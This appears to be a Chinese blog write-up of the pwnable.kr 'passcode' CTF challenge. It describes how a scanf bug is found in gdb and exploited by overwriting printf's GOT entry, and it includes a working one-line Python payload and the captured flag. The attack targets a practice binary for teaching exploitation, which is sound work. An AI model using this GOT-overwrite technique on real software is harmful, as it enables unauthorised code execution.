pwnable.kr——passcode

 1、基本操作:

#   连接,密码:guest
0、 $ ssh random@pwnable.kr -p2222

#   本地执行命令2、3下载二进制及源码,密码:guest
1、 $ scp <用户名>@<ip地址>:<服务器文件位置的绝对路径> <接收路径> 
2、 $ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode.c ./
3、 $ scp -P 2222 passcode@pwnable.kr:/home/passcode/passcode ./   
#   注: -P 指定端口

#   前置操作
4、 checksec passcode  #查看保护机制
5、 file passcode      #查看文件信息
6、 文件丢入ida,shift+F7查看内存分区信息,shift+F12查看字符串信息

7、 分析源代码

2、参考链接:pwnable.kr passcode_passcodessh-en_QQQqQqqqqrrrr的博客-CSDN博客

        源代码在这就不分析了,自行去找其他题解。

3、gdb代码调试:

①:b main下断点,r 运行得到以下界面

 ②:si 跟进welcome函数记录welcome函数的ebp

 ③:由welcome函数中的 scanf("%100s", name); 可知最多读入100个字符

 ④:多步 ni 走出 welcome 函数

 ⑤:可以看到 login 函数的 ebp 与 welcome 函数的 ebp 相同,接着往下

⑥:分析 scanf("%d", passcode1);  yaaa是在welcome函数时就读入的在栈上的

⑦:查找偏移,可知偏移为96

 

 ⑧:分析 scanf("%d", passcode2);

 ⑨:源码中有 system("/bin/cat flag"); 函数,但已知我们只能控passcode1不能控passcode2,所以这题不能依靠修改passcode1,passcode2使程序正常执行来执行 system("/bin/cat flag"); 获取flag

 

 ida中 shift+F7 得知 got 表所在地址

 点进去查看可知函数范围为0x0804A000-0x0804A020

vmmap查看可知 0x0804A000-0x0804A020 段可写(r,w,x,p依次对应读,写,执行,p我目前不知道)

 ⑩:综上,我们的思路是将 got 表中 printf 函数的地址(即0x0804A000)中存的值修改为 system("/bin/cat flag"); 的地址(0x080485E3)即可,随后程序执行到 printf 函数就相当于执行system("/bin/cat flag");

写exp用脚本打的话不知道怎么发送十进制数,这里就照搬参考链接中的解题手法好了

python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode

$ flag{Sorry mom.. I got confused about scanf usage :(}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值